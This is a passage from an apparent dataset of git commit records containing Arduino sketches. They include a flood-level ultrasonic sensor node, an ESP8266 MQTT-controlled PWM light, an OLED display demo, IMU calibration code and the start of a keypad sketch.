273.15))\/2);\n\/\/ distance = newDist;\n\/\/ }\n\/\/ digitalWrite(TEMP_SENSOR_ENABLE, LOW);\n\n return distance; \n}\n\n\/\/ End of Maxbotix sensor code\n\/\/ **************************************\n\n\/\/ Battery monitoring\nint readVcc() {\n \/\/ Read 1.1V reference against AVcc\n \/\/ set the reference to Vcc and the measurement to the internal 1.1V reference\n #if defined(__AVR_ATmega32U4__) || defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__)\n ADMUX = _BV(REFS0) | _BV(MUX4) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n #elif defined (__AVR_ATtiny24__) || defined(__AVR_ATtiny44__) || defined(__AVR_ATtiny84__)\n ADMUX = _BV(MUX5) | _BV(MUX0);\n #elif defined (__AVR_ATtiny25__) || defined(__AVR_ATtiny45__) || defined(__AVR_ATtiny85__)\n ADMUX = _BV(MUX3) | _BV(MUX2);\n #else\n ADMUX = _BV(REFS0) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);\n #endif \n \n delay(2); \/\/ Wait for Vref to settle\n ADCSRA |= _BV(ADSC); \/\/ Start conversion\n while (bit_is_set(ADCSRA,ADSC)); \/\/ measuring\n \n uint8_t low = ADCL; \/\/ must read ADCL first - it then locks ADCH \n uint8_t high = ADCH; \/\/ unlocks both\n \n long result = (high<<8) | low;\n \n result = 1125300L \/ result; \/\/ Calculate Vcc (in mV); 1125300 = 1.1*1023*1000\n return (int)result; \/\/ Vcc in millivolts\n}\n\n\/*\n\n *\/\nuint8_t setSRFSleep() \n{\n if (!enterCommandMode())\t\/\/ if failed once then try again\n {\n if (!enterCommandMode()) return 1;\n }\n \/\/if (!sendCommand(\"ATSDDBBA0\")) return 2;\t\/\/ 15 minutes\n \/\/if (!sendCommand(\"ATSD927C0\")) return 2;\t\/\/ 10 minutes\n \/\/if (!sendCommand(\"ATSD493E0\")) return 2;\t\/\/ 5 minutes\n \/\/if (!sendCommand(\"ATSD49E30\")) return 2;\t\/\/ 5 minutes - Wrong!\n \/\/if (!sendCommand(\"ATSD4E20\")) return 2;\t\/\/ 20 seconds\n\/\/ if (!sendCommand(\"ATSD1388\")) return 2;\t\/\/ 5 seconds\n if (!sendCommand(\"ATSD3E8\")) return 2;\t\/\/ 1 seconds\n \n if (!sendCommand(\"ATSM3\")) return 3;\n if (!sendCommand(\"ATDN\")) return 4;\n return 5; \/\/ success\n}\n\n\nuint8_t enterCommandMode()\n{\n delay(1200);\n Serial.print(\"+++\");\n delay(500);\n while (Serial.available()) Serial.read(); \/\/ flush serial in - get rid of anything received before the +++ was accepted\n delay(500);\n return checkOK(500);\n}\n\nuint8_t sendCommand(char* lpszCommand)\n{\n Serial.print(lpszCommand);\n Serial.write('\\r');\n return checkOK(100);\n}\n\nuint8_t checkOK(int timeout)\n{\n static uint32_t time = millis();\n while (millis() - time < timeout)\n {\n if (Serial.available() >= 3)\n {\n if (Serial.read() != 'O') continue;\n if (Serial.read() != 'K') continue;\n if (Serial.read() != '\\r') continue;\n return 1;\n }\n }\n return 0;\n}\n\n\nvoid setup() {\n \/\/ initialise serial:\n Serial.begin(115200);\n \/\/ Get device ID\n\/\/ readNodeId();\n \/\/ Initialise the LLAPSerial library\n LLAP.init( nodeId );\n analogReference(DEFAULT);\n\n \/\/ Set unused digital pins to input and turn on pull-up resistor\n for(int i = 0; i< 5; i++ ) {\n pinMode(inPin[i], INPUT);\n digitalWrite(inPin[i], HIGH);\n }\n\n \/\/ Setup sensor pins\n pinMode(SENSOR_ENABLE, OUTPUT);\n digitalWrite(SENSOR_ENABLE, LOW);\n pinMode(SENSOR_PIN, INPUT);\n\n\/\/ pinMode( TEMP_SENSOR_ENABLE, OUTPUT );\n\/\/ digitalWrite( TEMP_SENSOR_ENABLE, HIGH);\n\n \/\/ Setup the SRF pins\n pinMode(SRF_RADIO_ENABLE, OUTPUT); \/\/ initialize pin 8 to control the radio\n digitalWrite(SRF_RADIO_ENABLE, HIGH); \/\/ select the radio\n pinMode(SRF_SLEEP, OUTPUT);\n digitalWrite( SRF_SLEEP, LOW );\n\n\/\/ sensors.begin();\n\/\/ tempSensorFound = false;\n\/\/ if (sensors.getAddress(insideThermometer, 0)) {\n \/\/ set the resolution to 9 bit (Each Dallas\/Maxim device is capable of several different resolutions)\n\/\/ sensors.setResolution(insideThermometer, 9);\n\/\/ tempSensorFound = true;\n\/\/ }\n\/\/ digitalWrite( TEMP_SENSOR_ENABLE, LOW);\n\/\/ TEMP Demo mode\n tempSensorFound = false;\n\n batteryCountDown = BATTERY_READ_INTERVAL;\n \/\/ Wait for it to be initialised\n delay(200);\n\n \/\/ Send STARTED message if successful or ERROR if not able to set SleepMode 3.\n \/\/ set up sleep mode 3 (low = awake)\n uint8_t val;\n while ((val = setSRFSleep()) != 5)\n {\n LLAP.sendInt(\"ERR\",val); \/\/ Diagnostic\n delay(5000);\t\/\/ try again in 5 seconds\n }\n\n LLAP.sendMessage(\"STARTED\");\n\n}\n\n\/\/ The main loop, we basically wake up the SRF, take a reading, transmit reading then go back to sleep\nvoid loop() {\n\n \/\/ Short delay to allow reading to be sent then sleep\n delay(50);\n pinMode(SRF_SLEEP, INPUT); \/\/ sleep the radio\n LLAP.sleep(WAKE_INT, RISING, false); \/\/ sleep until woken on pin 2, no pullup (low power)\n pinMode(SRF_SLEEP, OUTPUT); \/\/ wake the radio\n\n \/\/ Determine if we need to send a battery voltage reading or a distance reading\n\/*\n if( --batteryCountDown <= 0 ) {\n int mV = readVcc();\n LLAP.sendIntWithDP(\"B\", mV, 3 );\n batteryCountDown = BATTERY_READ_INTERVAL;\n } \n else {\n*\/\n \/\/ Distance reading\n uint16_t cm = getRange();\n \/\/ Send reading 5 times to make sure it gets through\n \/\/ for(int n = 0; n<3; n++ ) {\n if( cm > 17 ) {\n LLAP.sendInt( \"U\", cm );\n } \n else if( cm == 0 ) {\n LLAP.sendMessage( \"UMax\" );\n } \n else {\n LLAP.sendMessage( \"UErr\" );\n }\n \/\/ delay(30);\n \/\/ }\n\/\/ }\n\n}\n\n\/\/ That's all folks\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OxFloodNet_Sensor_Demo\/OxFloodNet_Sensor_Demo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"db0e2420572fc2b0541cc38710cdeb32dc89f1d6","subject":"MQTT_PWM_Point","message":"MQTT_PWM_Point","repos":"dwightdoreid\/MQTTHomeAutomation,dwightdoreid\/MQTTHomeAutomation","old_file":"ESP8266MQTT_PWMPoint_Reid.ino","new_file":"ESP8266MQTT_PWMPoint_Reid.ino","new_contents":"\n\/\/ Enable debug prints to serial monitor\n\/\/#define MY_DEBUG\n\n\/\/ Use a bit lower baudrate for serial prints on ESP8266 than default in MyConfig.h\n#define MY_BAUD_RATE 9600\n\n#define MY_GATEWAY_MQTT_CLIENT\n#define MY_GATEWAY_ESP8266\n\n\/\/ Set this node's subscribe and publish topic prefix\n#define MY_MQTT_PUBLISH_TOPIC_PREFIX \"mygateway1-out\"\n#define MY_MQTT_SUBSCRIBE_TOPIC_PREFIX \"mygateway1-in\"\n\n\/\/ Set MQTT client id\n#define MY_MQTT_CLIENT_ID \"mysensors-1\"\n\n\/\/ Enable these if your MQTT broker requires usenrame\/password\n#define MY_MQTT_USER \"mqttUser\"\n#define MY_MQTT_PASSWORD \"mqttuser\"\n\n\/\/ Set WIFI SSID and password\n#define MY_ESP8266_SSID \"ReidMQTT\"\n#define MY_ESP8266_PASSWORD \"mqttuser\"\n\n\n\n\/\/ MQTT broker ip address.\n#define MY_CONTROLLER_IP_ADDRESS 192, 168, 2, 10\n\n\/\/ The MQTT broker port to to open\n#define MY_PORT 1883\n\n\n#include <ESP8266WiFi.h>\n#include <MySensors.h>\n\n#define LED_PIN 15 \/\/ Arduino Digital I\/O pin number for first relay (second on pin+1 etc)\n\n\nvoid setup()\n{\n pinMode(LED_PIN, OUTPUT);\n analogWrite(LED_PIN, 100);\n}\n\nvoid presentation()\n{\n\t\/\/ Present locally attached sensors here\n}\n\n\nvoid loop()\n{\n\t\/\/ Send locally attech sensors data here\n}\n\nvoid receive(const MyMessage &message)\n{\n int requestedLevel = atoi( message.data );\n Serial.print(\"Requested Level is: \");\n Serial.println(requestedLevel); \n analogWrite(LED_PIN, requestedLevel); \n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266MQTT_PWMPoint_Reid.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"4a434335792ad125c69fe2650315d8287a87da18","subject":"added simple example","message":"added simple example\n","repos":"evilnick\/evilOLED,evilnick\/evilOLED","old_file":"examples\/simpleOLED\/simpleOLED.ino","new_file":"examples\/simpleOLED\/simpleOLED.ino","new_contents":"#include <evilOLED.h>\n\n\nvoid setup() {\n pinMode(8,OUTPUT);\/\/ set SDA + SCL pins as output\n pinMode(9,OUTPUT);\n \n}\n\nvoid loop() {\nevilOLED disp(8,9);\/\/ initialise display (SDA,SCL)\ndelay(1000);\ndisp.cls(0x00); \/\/calls clearscreen\ndelay(500);\ndisp.setCursor(5,2);\/\/ sets text cursor (x,y)\ndisp.putString(\"HELLO\");\/\/Strings MUST be double quoted!\ndelay(500);\ndisp.alert(120);\/\/ flashes display 3 times\ndelay(1500);\ndisp.setCursor(5,4);\ndisp.putString(12345);\/\/ for convenience, putString also accepts ints\ndelay(1500);\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/simpleOLED\/simpleOLED.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b802ba8c72bc2e1c6f80fce904dd38156369fb9e","subject":"fixes","message":"fixes\n","repos":"davidx3601\/ric,robotican\/ric,davidx3601\/ric,davidx3601\/ric,robotican\/ric,davidx3601\/ric,davidx3601\/ric,robotican\/ric,robotican\/ric,robotican\/ric","old_file":"ric_mc\/Arduino\/ric_sensors\/IMU.ino","new_file":"ric_mc\/Arduino\/ric_sensors\/IMU.ino","new_contents":"void setup_imu() {\n Wire.begin();\n MPU.selectDevice(DEVICE_TO_USE); \n imu_fault = !MPU.init(MPU_UPDATE_RATE, MPU_MAG_MIX_GYRO_AND_MAG, MAG_UPDATE_RATE, MPU_LPF_RATE); \/\/ start the MPU\n if (imu_fault == false) {\n nh.loginfo(\"IMU ready\");\n imu_t=millis();\n if (calLibRead(DEVICE_TO_USE, &calData))\n {\n char log_msg[100];\n if (calData.magValid==true) {\n nh.loginfo(\" Mag calibration data loaded\"); \n \/\/sprintf(log_msg, \" minX=%d minY=%d minZ=%d maxX=%d maxY=%d maxZ=%d\",calData.magMinX,calData.magMinY,calData.magMinZ,calData.magMaxX,calData.magMaxY,calData.magMaxZ );\n \/\/nh.loginfo(log_msg);\n }\n if (calData.accelValid==true) {\n nh.loginfo(\" Accel calibration data loaded\"); \n \/\/sprintf(log_msg, \" minX=%d minY=%d minZ=%d maxX=%d maxY=%d maxZ=%d\",calData.accelMinX,calData.accelMinY,calData.accelMinZ,calData.accelMaxX,calData.accelMaxY,calData.accelMaxZ );\n \/\/nh.loginfo(log_msg);\n\n }\n\n }\n else {\n nh.logwarn(\" No IMU calibration data found\");\n }\n }\n else nh.logerror(\"IMU fault\");\n CHECK_IMU_INTERVAL = (unsigned long)(1000.0 \/ MPU_UPDATE_RATE * 100.0);\n\n loopState = LOOPSTATE_NORMAL;\n \/\/ pollInterval = (1000 \/ MPU_UPDATE_RATE) - 1; \/\/ a bit less than the minimum interval\n \/\/ lastPollTime = millis();\n}\n\n\n\n\nvoid read_imu() {\n\n switch (loopState) {\n case LOOPSTATE_NORMAL:\n\n if (MPU.read()) { \/\/ get the latest data if ready yet\n qw = MPU.m_fusedQuaternion[0];\n qx = MPU.m_fusedQuaternion[1];\n qy = MPU.m_fusedQuaternion[2];\n qz = MPU.m_fusedQuaternion[3];\n ax=MPU.m_calAccel[0];\n ay=MPU.m_calAccel[1];\n az=MPU.m_calAccel[2];\n mx=MPU.m_calMag[0];\n my=MPU.m_calMag[1];\n mz=MPU.m_calMag[2];\n gx=MPU.m_rawGyro[0];\n gy=MPU.m_rawGyro[1];\n gz=MPU.m_rawGyro[2];\n\n imu_t = millis();\n imu_fault=false;\n }\n break;\n\n case LOOPSTATE_MAGCAL:\n magCalLoop();\n imu_t = millis();\n break;\n\n case LOOPSTATE_ACCELCAL:\n accelCalLoop();\n imu_t = millis();\n break;\n }\n\n\n\n\n}\n\n\nvoid ric_calibCb(const ric_calib::Request & req, ric_calib::Response & res) {\n\n\n switch (loopState) {\n case LOOPSTATE_NORMAL:\n switch (req.com) {\n case 1:\n magCalStart();\n res.ack=true;\n return;\n\n case 2:\n accelCalStart();\n res.ack=true; \n return;\n case 5:\n calLibErase(DEVICE_TO_USE);\n nh.loginfo(\"Calibration data erased\");\n res.ack=true;\n return;\n case 11:\n cmdMessenger.sendCmdStart(kRcCalib);\n cmdMessenger.sendCmdArg(1);\n cmdMessenger.sendCmdEnd();\n \/\/ nh.loginfo(\"sent command to start rc calib\");\n res.ack=true;\n return;\n case 12:\n cmdMessenger.sendCmdStart(kRcCalib);\n cmdMessenger.sendCmdArg(2);\n cmdMessenger.sendCmdEnd();\n \/\/ nh.loginfo(\"sent command to save rc calib\");\n res.ack=true;\n return;\n case 13:\n cmdMessenger.sendCmdStart(kRcCalib);\n cmdMessenger.sendCmdArg(3);\n cmdMessenger.sendCmdEnd();\n \/\/ nh.loginfo(\"sent command to cancel rc calib\");\n res.ack=true;\n return;\n case 14:\n cmdMessenger.sendCmdStart(kRcCalib);\n cmdMessenger.sendCmdArg(4);\n cmdMessenger.sendCmdEnd();\n res.ack=true;\n \/\/ nh.loginfo(\"sent command to print rc calib\");\n return;\n }\n break;\n\n case LOOPSTATE_MAGCAL:\n switch (req.com) {\n case 3:\n calData.magValid = true;\n calLibWrite(DEVICE_TO_USE, &calData);\n nh.loginfo(\"Mag cal data saved\");\n break;\n\n case 4:\n loopState = LOOPSTATE_NORMAL;\n nh.loginfo(\"*** restart to use calibrated data ***\");\n break;\n }\n break;\n\n case LOOPSTATE_ACCELCAL:\n switch (req.com) {\n case 3:\n\n calData.accelValid = true;\n calLibWrite(DEVICE_TO_USE, &calData);\n nh.loginfo(\"Accel cal data saved\");\n break;\n\n case 4:\n\n loopState = LOOPSTATE_NORMAL;\n nh.loginfo(\"*** restart to use calibrated data ***\");\n break;\n }\n break;\n }\n res.ack=true;\n}\n\nvoid magCalStart(void)\n{\n calLibRead(DEVICE_TO_USE, &calData); \/\/ pick up existing accel data if there\n\n calData.magValid = false;\n calData.magMinX = 0x7fff; \/\/ init mag cal data\n calData.magMaxX = 0x8000;\n calData.magMinY = 0x7fff;\n calData.magMaxY = 0x8000;\n calData.magMinZ = 0x7fff;\n calData.magMaxZ = 0x8000;\n\n nh.loginfo(\"Entering mag calibration mode\");\n loopState = LOOPSTATE_MAGCAL;\n}\n\nvoid magCalLoop()\n{\n boolean changed;\n\n if (MPU.read()) { \/\/ get the latest data\n changed = false;\n if (MPU.m_rawMag[VEC3_X] < calData.magMinX) {\n calData.magMinX = MPU.m_rawMag[VEC3_X];\n changed = true;\n }\n if (MPU.m_rawMag[VEC3_X] > calData.magMaxX) {\n calData.magMaxX = MPU.m_rawMag[VEC3_X];\n changed = true;\n }\n if (MPU.m_rawMag[VEC3_Y] < calData.magMinY) {\n calData.magMinY = MPU.m_rawMag[VEC3_Y];\n changed = true;\n }\n if (MPU.m_rawMag[VEC3_Y] > calData.magMaxY) {\n calData.magMaxY = MPU.m_rawMag[VEC3_Y];\n changed = true;\n }\n if (MPU.m_rawMag[VEC3_Z] < calData.magMinZ) {\n calData.magMinZ = MPU.m_rawMag[VEC3_Z];\n changed = true;\n }\n if (MPU.m_rawMag[VEC3_Z] > calData.magMaxZ) {\n calData.magMaxZ = MPU.m_rawMag[VEC3_Z];\n changed = true;\n }\n\n if (changed) {\n nh.loginfo(\"-------\");\n\n sprintf(temp_msg, \"minX: %d\", calData.magMinX); \n nh.loginfo(temp_msg);\n sprintf(temp_msg, \"maxX: %d\", calData.magMaxX); \n nh.loginfo(temp_msg);\n sprintf(temp_msg, \"minY: %d\", calData.magMinY); \n nh.loginfo(temp_msg);\n sprintf(temp_msg, \"maxY: %d\", calData.magMaxY); \n nh.loginfo(temp_msg);\n sprintf(temp_msg, \"minZ: %d\", calData.magMinZ); \n nh.loginfo(temp_msg);\n sprintf(temp_msg, \"maxZ: %d\", calData.magMaxZ); \n nh.loginfo(temp_msg);\n\n\n }\n }\n\n\n}\n\nvoid accelCalStart(void)\n{\n calLibRead(DEVICE_TO_USE, &calData); \/\/ pick up existing accel data if there\n\n calData.accelValid = false;\n calData.accelMinX = 0x7fff; \/\/ init accel cal data\n calData.accelMaxX = 0x8000;\n calData.accelMinY = 0x7fff;\n calData.accelMaxY = 0x8000;\n calData.accelMinZ = 0x7fff;\n calData.accelMaxZ = 0x8000;\n\n nh.loginfo(\"Entering accel calibration mode\");\n loopState = LOOPSTATE_ACCELCAL;\n MPU.disableAccelCal();\n}\n\nvoid accelCalLoop()\n{\n boolean changed;\n\n if (MPU.read()) { \/\/ get the latest data\n changed = false;\n if (MPU.m_rawAccel[VEC3_X] < calData.accelMinX) {\n calData.accelMinX = MPU.m_rawAccel[VEC3_X];\n changed = true;\n }\n if (MPU.m_rawAccel[VEC3_X] > calData.accelMaxX) {\n calData.accelMaxX = MPU.m_rawAccel[VEC3_X];\n changed = true;\n }\n if (MPU.m_rawAccel[VEC3_Y] < calData.accelMinY) {\n calData.accelMinY = MPU.m_rawAccel[VEC3_Y];\n changed = true;\n }\n if (MPU.m_rawAccel[VEC3_Y] > calData.accelMaxY) {\n calData.accelMaxY = MPU.m_rawAccel[VEC3_Y];\n changed = true;\n }\n if (MPU.m_rawAccel[VEC3_Z] < calData.accelMinZ) {\n calData.accelMinZ = MPU.m_rawAccel[VEC3_Z];\n changed = true;\n }\n if (MPU.m_rawAccel[VEC3_Z] > calData.accelMaxZ) {\n calData.accelMaxZ = MPU.m_rawAccel[VEC3_Z];\n changed = true;\n }\n\n if (changed) {\n nh.loginfo(\"-------\");\n\n sprintf(temp_msg, \"minX: %d\", calData.accelMinX); \n nh.loginfo(temp_msg);\n sprintf(temp_msg, \"maxX: %d\", calData.accelMaxX); \n nh.loginfo(temp_msg);\n sprintf(temp_msg, \"minY: %d\", calData.accelMinY); \n nh.loginfo(temp_msg);\n sprintf(temp_msg, \"maxY: %d\", calData.accelMaxY); \n nh.loginfo(temp_msg);\n sprintf(temp_msg, \"minZ: %d\", calData.accelMinZ); \n nh.loginfo(temp_msg);\n sprintf(temp_msg, \"maxZ: %d\", calData.accelMaxZ); \n nh.loginfo(temp_msg);\n\n }\n }\n\n\n}\n\n\n\n\n\n\n","old_contents":"void setup_imu() {\n Wire.begin();\n MPU.selectDevice(DEVICE_TO_USE); \n imu_fault = !MPU.init(MPU_UPDATE_RATE, MPU_MAG_MIX_GYRO_AND_MAG, MAG_UPDATE_RATE, MPU_LPF_RATE); \/\/ start the MPU\n if (imu_fault == false) {\n nh.loginfo(\"IMU ready\");\n imu_t=millis();\n if (calLibRead(DEVICE_TO_USE, &calData))\n {\n char log_msg[100];\n if (calData.magValid==true) {\n nh.loginfo(\" Mag calibration data loaded:\"); \n \/\/sprintf(log_msg, \" minX=%d minY=%d minZ=%d maxX=%d maxY=%d maxZ=%d\",calData.magMinX,calData.magMinY,calData.magMinZ,calData.magMaxX,calData.magMaxY,calData.magMaxZ );\n \/\/nh.loginfo(log_msg);\n }\n if (calData.accelValid==true) {\n nh.loginfo(\" Accel calibration data loaded:\"); \n \/\/sprintf(log_msg, \" minX=%d minY=%d minZ=%d maxX=%d maxY=%d maxZ=%d\",calData.accelMinX,calData.accelMinY,calData.accelMinZ,calData.accelMaxX,calData.accelMaxY,calData.accelMaxZ );\n \/\/nh.loginfo(log_msg);\n\n }\n\n }\n else {\n nh.logwarn(\" No IMU calibration data found\");\n }\n }\n else nh.logerror(\"IMU fault\");\n CHECK_IMU_INTERVAL = (unsigned long)(1000.0 \/ MPU_UPDATE_RATE * 100.0);\n\n loopState = LOOPSTATE_NORMAL;\n \/\/ pollInterval = (1000 \/ MPU_UPDATE_RATE) - 1; \/\/ a bit less than the minimum interval\n \/\/ lastPollTime = millis();\n}\n\n\n\n\nvoid read_imu() {\n\n switch (loopState) {\n case LOOPSTATE_NORMAL:\n\n if (MPU.read()) { \/\/ get the latest data if ready yet\n qw = MPU.m_fusedQuaternion[0];\n qx = MPU.m_fusedQuaternion[1];\n qy = MPU.m_fusedQuaternion[2];\n qz = MPU.m_fusedQuaternion[3];\n ax=MPU.m_calAccel[0];\n ay=MPU.m_calAccel[1];\n az=MPU.m_calAccel[2];\n mx=MPU.m_calMag[0];\n my=MPU.m_calMag[1];\n mz=MPU.m_calMag[2];\n gx=MPU.m_rawGyro[0];\n gy=MPU.m_rawGyro[1];\n gz=MPU.m_rawGyro[2];\n\n imu_t = millis();\n imu_fault=false;\n }\n break;\n\n case LOOPSTATE_MAGCAL:\n magCalLoop();\n imu_t = millis();\n break;\n\n case LOOPSTATE_ACCELCAL:\n accelCalLoop();\n imu_t = millis();\n break;\n }\n\n\n\n\n}\n\n\nvoid ric_calibCb(const ric_calib::Request & req, ric_calib::Response & res) {\n\n\n switch (loopState) {\n case LOOPSTATE_NORMAL:\n switch (req.com) {\n case 1:\n magCalStart();\n res.ack=true;\n return;\n\n case 2:\n accelCalStart();\n res.ack=true; \n return;\n case 5:\n calLibErase(DEVICE_TO_USE);\n nh.loginfo(\"Calibration data erased\");\n res.ack=true;\n return;\n case 11:\n cmdMessenger.sendCmdStart(kRcCalib);\n cmdMessenger.sendCmdArg(1);\n cmdMessenger.sendCmdEnd();\n \/\/ nh.loginfo(\"sent command to start rc calib\");\n res.ack=true;\n return;\n case 12:\n cmdMessenger.sendCmdStart(kRcCalib);\n cmdMessenger.sendCmdArg(2);\n cmdMessenger.sendCmdEnd();\n \/\/ nh.loginfo(\"sent command to save rc calib\");\n res.ack=true;\n return;\n case 13:\n cmdMessenger.sendCmdStart(kRcCalib);\n cmdMessenger.sendCmdArg(3);\n cmdMessenger.sendCmdEnd();\n \/\/ nh.loginfo(\"sent command to cancel rc calib\");\n res.ack=true;\n return;\n case 14:\n cmdMessenger.sendCmdStart(kRcCalib);\n cmdMessenger.sendCmdArg(4);\n cmdMessenger.sendCmdEnd();\n res.ack=true;\n \/\/ nh.loginfo(\"sent command to print rc calib\");\n return;\n }\n break;\n\n case LOOPSTATE_MAGCAL:\n switch (req.com) {\n case 3:\n calData.magValid = true;\n calLibWrite(DEVICE_TO_USE, &calData);\n nh.loginfo(\"Mag cal data saved\");\n break;\n\n case 4:\n loopState = LOOPSTATE_NORMAL;\n nh.loginfo(\"*** restart to use calibrated data ***\");\n break;\n }\n break;\n\n case LOOPSTATE_ACCELCAL:\n switch (req.com) {\n case 3:\n\n calData.accelValid = true;\n calLibWrite(DEVICE_TO_USE, &calData);\n nh.loginfo(\"Accel cal data saved\");\n break;\n\n case 4:\n\n loopState = LOOPSTATE_NORMAL;\n nh.loginfo(\"*** restart to use calibrated data ***\");\n break;\n }\n break;\n }\n res.ack=true;\n}\n\nvoid magCalStart(void)\n{\n calLibRead(DEVICE_TO_USE, &calData); \/\/ pick up existing accel data if there\n\n calData.magValid = false;\n calData.magMinX = 0x7fff; \/\/ init mag cal data\n calData.magMaxX = 0x8000;\n calData.magMinY = 0x7fff;\n calData.magMaxY = 0x8000;\n calData.magMinZ = 0x7fff;\n calData.magMaxZ = 0x8000;\n\n nh.loginfo(\"Entering mag calibration mode\");\n loopState = LOOPSTATE_MAGCAL;\n}\n\nvoid magCalLoop()\n{\n boolean changed;\n\n if (MPU.read()) { \/\/ get the latest data\n changed = false;\n if (MPU.m_rawMag[VEC3_X] < calData.magMinX) {\n calData.magMinX = MPU.m_rawMag[VEC3_X];\n changed = true;\n }\n if (MPU.m_rawMag[VEC3_X] > calData.magMaxX) {\n calData.magMaxX = MPU.m_rawMag[VEC3_X];\n changed = true;\n }\n if (MPU.m_rawMag[VEC3_Y] < calData.magMinY) {\n calData.magMinY = MPU.m_rawMag[VEC3_Y];\n changed = true;\n }\n if (MPU.m_rawMag[VEC3_Y] > calData.magMaxY) {\n calData.magMaxY = MPU.m_rawMag[VEC3_Y];\n changed = true;\n }\n if (MPU.m_rawMag[VEC3_Z] < calData.magMinZ) {\n calData.magMinZ = MPU.m_rawMag[VEC3_Z];\n changed = true;\n }\n if (MPU.m_rawMag[VEC3_Z] > calData.magMaxZ) {\n calData.magMaxZ = MPU.m_rawMag[VEC3_Z];\n changed = true;\n }\n\n if (changed) {\n nh.loginfo(\"-------\");\n\n sprintf(temp_msg, \"minX: %d\", calData.magMinX); \n nh.loginfo(temp_msg);\n sprintf(temp_msg, \"maxX: %d\", calData.magMaxX); \n nh.loginfo(temp_msg);\n sprintf(temp_msg, \"minY: %d\", calData.magMinY); \n nh.loginfo(temp_msg);\n sprintf(temp_msg, \"maxY: %d\", calData.magMaxY); \n nh.loginfo(temp_msg);\n sprintf(temp_msg, \"minZ: %d\", calData.magMinZ); \n nh.loginfo(temp_msg);\n sprintf(temp_msg, \"maxZ: %d\", calData.magMaxZ); \n nh.loginfo(temp_msg);\n\n\n }\n }\n\n\n}\n\nvoid accelCalStart(void)\n{\n calLibRead(DEVICE_TO_USE, &calData); \/\/ pick up existing accel data if there\n\n calData.accelValid = false;\n calData.accelMinX = 0x7fff; \/\/ init accel cal data\n calData.accelMaxX = 0x8000;\n calData.accelMinY = 0x7fff;\n calData.accelMaxY = 0x8000;\n calData.accelMinZ = 0x7fff;\n calData.accelMaxZ = 0x8000;\n\n nh.loginfo(\"Entering accel calibration mode\");\n loopState = LOOPSTATE_ACCELCAL;\n MPU.disableAccelCal();\n}\n\nvoid accelCalLoop()\n{\n boolean changed;\n\n if (MPU.read()) { \/\/ get the latest data\n changed = false;\n if (MPU.m_rawAccel[VEC3_X] < calData.accelMinX) {\n calData.accelMinX = MPU.m_rawAccel[VEC3_X];\n changed = true;\n }\n if (MPU.m_rawAccel[VEC3_X] > calData.accelMaxX) {\n calData.accelMaxX = MPU.m_rawAccel[VEC3_X];\n changed = true;\n }\n if (MPU.m_rawAccel[VEC3_Y] < calData.accelMinY) {\n calData.accelMinY = MPU.m_rawAccel[VEC3_Y];\n changed = true;\n }\n if (MPU.m_rawAccel[VEC3_Y] > calData.accelMaxY) {\n calData.accelMaxY = MPU.m_rawAccel[VEC3_Y];\n changed = true;\n }\n if (MPU.m_rawAccel[VEC3_Z] < calData.accelMinZ) {\n calData.accelMinZ = MPU.m_rawAccel[VEC3_Z];\n changed = true;\n }\n if (MPU.m_rawAccel[VEC3_Z] > calData.accelMaxZ) {\n calData.accelMaxZ = MPU.m_rawAccel[VEC3_Z];\n changed = true;\n }\n\n if (changed) {\n nh.loginfo(\"-------\");\n\n sprintf(temp_msg, \"minX: %d\", calData.accelMinX); \n nh.loginfo(temp_msg);\n sprintf(temp_msg, \"maxX: %d\", calData.accelMaxX); \n nh.loginfo(temp_msg);\n sprintf(temp_msg, \"minY: %d\", calData.accelMinY); \n nh.loginfo(temp_msg);\n sprintf(temp_msg, \"maxY: %d\", calData.accelMaxY); \n nh.loginfo(temp_msg);\n sprintf(temp_msg, \"minZ: %d\", calData.accelMinZ); \n nh.loginfo(temp_msg);\n sprintf(temp_msg, \"maxZ: %d\", calData.accelMaxZ); \n nh.loginfo(temp_msg);\n\n }\n }\n\n\n}\n\n\n\n\n\n\n","returncode":0,"stderr":"","license":"bsd-3-clause","lang":"Arduino"} {"commit":"86dec5ad37a071ffb30360a0d71030b9824d1c97","subject":"Tested 1x4 keypad.","message":"Tested 1x4 keypad.\n","repos":"dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs","old_file":"Prototype\/Keypad\/Pad1x4\/Pad1x4.ino","new_file":"Prototype\/Keypad\/Pad1x4\/Pad1x4.ino","new_contents":"\/**\n\n Keypad1x4\n\nPinout:\n\n\t1. COMMON (or ROW1)\n\t2. key B (or COL2)\n\t3. key A (or COL1)\n\t4. key D (or COL4)\n\t5. key C (or COL3)\n\n**\/\n\n\n\n\/* *** Globals and sketch configuration *** *\/\n#define SERIAL 1 \/* Enable serial *\/\n#define DEBUG 1 \/* Enable trace statements *\/\n\t\t\t\t\t\t\t\n#define UI_SCHED_IDLE 4000 \/\/ tenths of seconds idle time, ...\n#define UI_STDBY 8000 \/\/ ms\n\t\t\t\t\t\t\t\n#define MAXLENLINE 79\n\t\t\t\t\t\t\t\n\n\n#include <JeeLib.h>\n#include <DotmpeLib.h>\n#include <mpelib.h>\n#include <Keypad.h>\n\n\n\n\nconst String sketch = \"Keypad1x4\";\nconst int version = 0;\n\nchar node[] = \"p4k\";\n\nvolatile bool ui_irq;\nbool ui;\n\nconst byte ROWS = 1;\nconst byte COLS = 4; \n\/\/define the cymbols on the buttons of the keypads\nchar pad1x3[ROWS][COLS] = {\n {'A','B','C','D'},\n};\n\n\/* IO pins *\/\n\/\/# define ROW4_PIN 0 \/\/ RXD\n\/\/# define ROW3_PIN 1 \/\/ TXD\n\/\/# define ROW2_PIN 2 \/\/ INT0\n# define ROW1_PIN 3\n# define COL4_PIN 4\n# define COL3_PIN 5\n# define COL2_PIN 6\n# define COL1_PIN 7\n\/\/ MOSI 11\n\/\/ MISO 12\n# define 